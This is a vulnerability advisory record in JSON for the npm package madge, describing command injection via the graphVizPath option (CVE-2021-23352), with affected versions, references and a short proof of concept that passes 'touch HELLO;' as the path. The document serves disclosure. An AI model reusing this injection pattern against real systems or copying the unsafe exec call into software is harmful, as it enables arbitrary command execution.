{"id":"GHSA-753c-phhg-cj29","summary":"Madge vulnerable to command injection","details":"This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.\n\n### PoC\n```js\nconst madge = require('madge'); \nmadge('..', {graphVizPath: \"touch HELLO;\"}) .then((res) =\u003e res.svg()) .then((writtenImagePath) =\u003e { console.log('Image written to ' + writtenImagePath); });\n```","aliases":["CVE-2021-23352","SNYK-JS-MADGE-1082875"],"modified":"2026-05-07T04:57:00.160925345Z","published":"2021-03-12T23:01:49Z","database_specific":{"github_reviewed_at":"2021-03-12T21:10:53Z","nvd_published_at":"2021-03-09T19:15:00Z","cwe_ids":["CWE-77","CWE-89"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23352"},{"type":"WEB","url":"https://github.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332"},{"type":"WEB","url":"https://github.com/pahen/madge/blob/master/lib/graph.js#L27"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-MADGE-1082875"}],"affected":[{"package":{"name":"madge","ecosystem":"npm","purl":"pkg:npm/madge"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-753c-phhg-cj29/GHSA-753c-phhg-cj29.json"}}],"schema_version":"1.9.0"}